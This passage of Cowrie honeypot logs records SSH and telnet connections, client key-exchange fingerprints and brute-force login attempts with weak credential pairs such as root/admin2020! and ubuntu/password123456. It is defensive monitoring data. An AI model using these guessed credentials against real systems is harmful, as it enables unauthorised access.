sa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:29.019629Z","src_ip":"91.134.240.52","session":"a1b1796a285c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc1234567","message":"login attempt [admin/abc1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:29.328008Z","src_ip":"91.134.240.52","session":"a1b1796a285c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:30.413521Z","src_ip":"91.134.240.52","session":"a1b1796a285c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.429627180099487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:39.122831Z","src_ip":"8.222.236.85","session":"4601b1611160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49430,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb57c98efbc6","protocol":"ssh","message":"New connection: 159.203.92.129:49430 (159.203.135.109:22) [session: bb57c98efbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:51.364409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:51.370241Z","src_ip":"159.203.92.129","session":"bb57c98efbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:51.375139Z","src_ip":"159.203.92.129","session":"bb57c98efbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech123","message":"login attempt [aitech/aitech123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:51.387036Z","src_ip":"159.203.92.129","session":"bb57c98efbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:52.392589Z","src_ip":"159.203.92.129","session":"bb57c98efbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60664,"dst_ip":"10.17.0.5","dst_port":23,"session":"89566ae29374","protocol":"telnet","message":"New connection: 5.61.90.139:60664 (10.17.0.5:23) [session: 89566ae29374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:53.540607Z"}
{"eventid":"cowrie.session.closed","duration":3.088505983352661,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:56.628992Z","src_ip":"5.61.90.139","session":"89566ae29374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.828052043914795,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:01.131834Z","src_ip":"5.61.90.139","session":"25c55256016c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":41842,"dst_ip":"159.203.135.109","dst_port":22,"session":"da4b7045aeda","protocol":"ssh","message":"New connection: 80.253.31.232:41842 (159.203.135.109:22) [session: da4b7045aeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:06.444846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:06.449508Z","src_ip":"80.253.31.232","session":"da4b7045aeda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:06.574256Z","src_ip":"80.253.31.232","session":"da4b7045aeda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2020!","message":"login attempt [root/admin2020!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:07.112534Z","src_ip":"80.253.31.232","session":"da4b7045aeda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:08.239445Z","src_ip":"80.253.31.232","session":"da4b7045aeda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":38174,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96876cfe4e8","protocol":"ssh","message":"New connection: 217.154.192.185:38174 (159.203.135.109:22) [session: d96876cfe4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:09.650375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:09.654850Z","src_ip":"217.154.192.185","session":"d96876cfe4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:09.749777Z","src_ip":"217.154.192.185","session":"d96876cfe4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password123456","message":"login attempt [ubuntu/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:10.156000Z","src_ip":"217.154.192.185","session":"d96876cfe4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:11.252871Z","src_ip":"217.154.192.185","session":"d96876cfe4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ea5a50946c7","protocol":"ssh","message":"New connection: 159.203.92.129:44038 (159.203.135.109:22) [session: 3ea5a50946c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:35.889314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:35.894534Z","src_ip":"159.203.92.129","session":"3ea5a50946c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:35.899629Z","src_ip":"159.203.92.129","session":"3ea5a50946c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech1234","message":"login attempt [aitech/aitech1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:35.911855Z","src_ip":"159.203.92.129","session":"3ea5a50946c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:36.918351Z","src_ip":"159.203.92.129","session":"3ea5a50946c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":48889,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c7b22adaa50","protocol":"ssh","message":"New connection: 213.209.159.159:48889 (159.203.135.109:22) [session: 2c7b22adaa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:41.264971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:41.269818Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:41.351918Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00125527381897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:41.720066Z","src_ip":"146.120.225.17","session":"e23bc767d0e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy","message":"login attempt [cathy/cathy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:41.750437Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":60750,"dst_ip":"10.17.0.5","dst_port":23,"session":"99abfc14fed5","protocol":"telnet","message":"New connection: 146.120.225.17:60750 (10.17.0.5:23) [session: 99abfc14fed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:42.753175Z"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy1","message":"login attempt [cathy/cathy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:42.841248Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy123","message":"login attempt [cathy/cathy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:43.926268Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy1234","message":"login attempt [cathy/cathy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:45.011575Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60666,"dst_ip":"10.17.0.5","dst_port":23,"session":"34e854368f56","protocol":"telnet","message":"New connection: 5.61.90.139:60666 (10.17.0.5:23) [session: 34e854368f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:45.059378Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60668,"dst_ip":"10.17.0.5","dst_port":23,"session":"847abbadcd57","protocol":"telnet","message":"New connection: 5.61.90.139:60668 (10.17.0.5:23) [session: 847abbadcd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:45.138996Z"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy12345","message":"login attempt [cathy/cathy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:46.098933Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:47.182576Z","src_ip":"213.209.159.159","session":"2c7b22adaa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":49480,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4aeec71e561","protocol":"ssh","message":"New connection: 80.253.31.232:49480 (159.203.135.109:22) [session: a4aeec71e561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:50.990706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:50.995399Z","src_ip":"80.253.31.232","session":"a4aeec71e561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:51.127123Z","src_ip":"80.253.31.232","session":"a4aeec71e561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing123456","message":"login attempt [root/testing123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:51.683774Z","src_ip":"80.253.31.232","session":"a4aeec71e561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:52.816863Z","src_ip":"80.253.31.232","session":"a4aeec71e561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b37c4e2bd85","protocol":"ssh","message":"New connection: 217.154.192.185:42228 (159.203.135.109:22) [session: 7b37c4e2bd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:55.462616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:55.466861Z","src_ip":"217.154.192.185","session":"7b37c4e2bd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256",